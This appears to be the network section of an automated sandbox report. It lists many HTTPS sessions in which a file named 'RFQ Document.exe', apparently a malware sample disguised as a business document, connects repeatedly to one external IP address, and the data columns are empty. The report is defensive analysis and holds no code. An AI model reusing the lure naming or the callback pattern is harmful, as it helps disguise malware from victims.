Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.4	49876	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.4	49877	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.4	49878	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.4	49879	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.4	49880	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.4	49881	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.4	49882	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.4	49883	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.4	49884	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.4	49885	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49785	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.4	49886	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.4	49887	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.4	49888	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.4	49910	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.4	49913	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.4	49914	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.4	49915	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.4	49916	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.4	49917	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.4	49918	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49786	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.4	49919	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.4	49920	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.4	49921	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.4	49922	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.4	49923	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.4	49924	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.4	49925	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.4	49926	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.4	49927	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.4	49928	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49787	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.4	49929	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.4	49930	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.4	49931	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.4	49932	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.4	49933	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.4	49934	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.4	49935	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.4	49936	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.4	49937	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.4	49938	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49788	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.4	49939	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.4	49940	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.4	49941	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.4	49942	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.4	49943	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.4	49944	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.4	49948	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.4	49950	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.4	49951	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.4	49953	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49789	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.4	49956	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.4	49958	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.4	49960	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.4	49962	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.4	49964	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.4	49965	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.4	49967	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.4	49968	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.4	49970	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.4	49972	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49790	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.4	49974	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.4	49975	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.4	49977	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.4	49978	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.4	49979	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.4	49980	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.4	49981	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.4	49982	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.4	49983	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.4	49984	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49791	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.4	49988	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.4	49991	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.4	49992	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.4	49993	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.4	49994	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.4	49996	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.4	49997	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.4	49998	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.4	49999	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.4	50000	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49792	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.4	50001	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.4	50002	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.4	50003	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.4	50004	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.4	50005	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.4	50006	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.4	50007	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.4	50008	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.4	50009	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.4	50010	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49793	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.4	50011	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.4	50012	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.4	50013	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.4	50014	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.4	50015	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.4	50016	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.4	50017	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.4	50018	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.4	50019	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.4	50020	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49776	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49794	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.4	50021	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.4	50022	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.4	50023	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.4	50024	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.4	50025	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.4	50026	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.4	50027	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.4	50028	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.4	50029	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.4	50030	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49795	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.4	50031	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.4	50032	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.4	50033	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.4	50034	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.4	50035	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.4	50036	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.4	50037	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.4	50038	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.4	50039	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.4	50040	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49796	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.4	50041	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.4	50042	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.4	50043	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.4	50044	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.4	50045	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.4	50046	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.4	50047	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.4	50048	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.4	50049	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.4	50050	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49797	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.4	50051	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.4	50052	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.4	50053	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.4	50054	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.4	50055	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.4	50056	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.4	50057	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.4	50058	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.4	50059	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.4	50060	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
